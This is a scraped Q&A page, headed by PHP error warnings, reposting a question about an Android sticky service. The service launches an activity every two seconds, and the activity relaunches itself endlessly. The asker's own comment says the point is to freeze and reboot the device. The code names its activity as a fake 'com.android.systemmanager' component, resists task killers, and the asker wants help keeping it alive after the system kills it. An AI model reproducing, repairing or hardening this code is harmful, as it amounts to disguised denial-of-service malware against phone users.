Warning: file_get_contents(/data/phpspider/zhask/data//catemap/7/rust/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Android 内存不足时将终止粘性服务_Android - Fatal编程技术网

Android 内存不足时将终止粘性服务

Android 内存不足时将终止粘性服务,android,Android,我有一个粘性服务,它使用线程每2秒调用一个活动 public class FreezeService extends Service { Context context = this; // constant public static final long NOTIFY_INTERVAL = 2000; // 2 sec // run on another Thread to avoid crash private Handler mHandler = new Handler(); // ti

我有一个粘性服务,它使用线程每2秒调用一个活动

public class FreezeService extends Service {
Context context = this;
// constant
public static final long NOTIFY_INTERVAL = 2000; // 2 sec
// run on another Thread to avoid crash
private Handler mHandler = new Handler();
// timer handling
private Timer mTimer = null;

@Override
public IBinder onBind(Intent intent) {
    return null;
}

@Override
public void onCreate() {
    // cancel if already existed
    if (mTimer != null) {
        mTimer.cancel();
    } else {
        // recreate new
        mTimer = new Timer();
    }
    // schedule task
    mTimer.scheduleAtFixedRate(new TimeDisplayTimerTask(), 0,
            NOTIFY_INTERVAL);
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    return START_STICKY;// this make the service sticky which prevents it
                        // from getting killed by advanced task killers
}

class TimeDisplayTimerTask extends TimerTask {
    @Override
    public void run() {
        // run on another thread
        mHandler.post(new Runnable() {
            @Override
            public void run() {
                Intent i = new Intent(context, FreezeScreen.class);
                i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                context.startActivity(i);
            }
        });
    }
}
然后,该活动在onCreate中调用自己,导致无限调用。这使得所有的东西都冻结在记忆之外

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.transparent_ui);
    // launch this activity again and again making the device freeze and
    // reboot
    Intent intent = new Intent(Intent.ACTION_MAIN);
    intent.setComponent(new ComponentName("com.android.systemmanager",
            "com.android.systemmanager.FreezeScreen"));
    startActivity(intent);
}
这很好,但是,我的粘性服务在某个时候会被终止。根据,START_STICKY告诉操作系统在拥有足够内存后重新创建服务,并再次调用onStartCommand(),意图为空但我的粘性服务再也不会启动。